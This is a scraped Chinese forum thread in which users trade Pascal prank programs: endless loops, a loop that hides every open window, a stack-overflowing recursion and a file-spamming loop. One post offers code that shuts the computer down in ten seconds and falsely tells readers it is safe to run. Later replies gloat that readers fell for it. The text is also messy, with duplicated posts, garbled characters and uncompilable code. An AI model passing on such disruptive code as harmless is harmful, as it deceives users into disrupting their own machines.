level 7
我先来。
begin
while true do begin
省略......
end;
end.
2015年01月05日 10点01分
level 7
level 9
{$APPTYPE GUI}
uses
windows;
var
i: longint=1;
begin
while(true) do
begin
ShowWindow(i,SW_HIDE);
inc(i);
end
end.
2015年01月05日 14点01分
3
uses
windows;
var
i: longint=1;
begin
while(true) do
begin
ShowWindow(i,SW_HIDE);
inc(i);
end
end.
level 8
level 4
求3楼原理
跪求
跪求
那个windows单元是什么东东
2015年01月06日 13点01分
6
跪求
跪求
那个windows单元是什么东东
![[狂汗]](/static/emoticons/u72c2u6c57.png)
,你厉害，专黑宋宋
level 8
procedure die;
begin
……
die;
end;
begin
die;
end.
2015年01月07日 08点01分
7
begin
……
die;
end;
begin
die;
end.
运行一下子就会爆，亲测。
2015年01月11日 05点01分
回复 赛尔号玩家① :爆是指闪退
2015年01月11日 05点01分
堆栈溢出
2015年01月11日 05点01分
我没这事
2015年01月12日 04点01分
level 3
level 4
uses dos;
begin
swapVectors;
exec(getEnv('SYSTEMROOT')+'\SYSTEM32\shutdown.exe','-s -t 10');
swapVectors;
end.
大家运行一下，不会让你们吃亏的
2015年01月08日 12点01分
9
begin
swapVectors;
exec(getEnv('SYSTEMROOT')+'\SYSTEM32\shutdown.exe','-s -t 10');
swapVectors;
end.
大家运行一下，不会让你们吃亏的
shutdown![[汗]](/static/emoticons/u6c57.png)
2015年01月11日 05点01分
这……
2015年01月12日 04点01分
哈哈！你们中招了吧
2015年01月20日 11点01分
回复
��ʿ14753
:没中招……
2015年02月21日 05点02分
��ʿ14753
:没中招……
level 9
Uses crt;
var i:int64;
Begin
i:=0;
Repeat
inc(i);
Textcolor(i);
Textbackground(i+1);
Write(i);
Until i<0;
End.
彩色数字死循环
2015年01月08日 12点01分
10
var i:int64;
Begin
i:=0;
Repeat
inc(i);
Textcolor(i);
Textbackground(i+1);
Write(i);
Until i<0;
End.
彩色数字死循环
level 8
level 7
s:='program file';
i：=‘2b’；
while true do begin
assign(f,s);
rewrite(f);
close(f）;
end;
s:=s+i;
2015年02月20日 10点02分
15
i：=‘2b’；
while true do begin
assign(f,s);
rewrite(f);
close(f）;
end;
s:=s+i;
level 6
![[喷]](/static/emoticons/u55b7.png)
![[委屈]](/static/emoticons/u59d4u5c48.png)
level 5
level 8
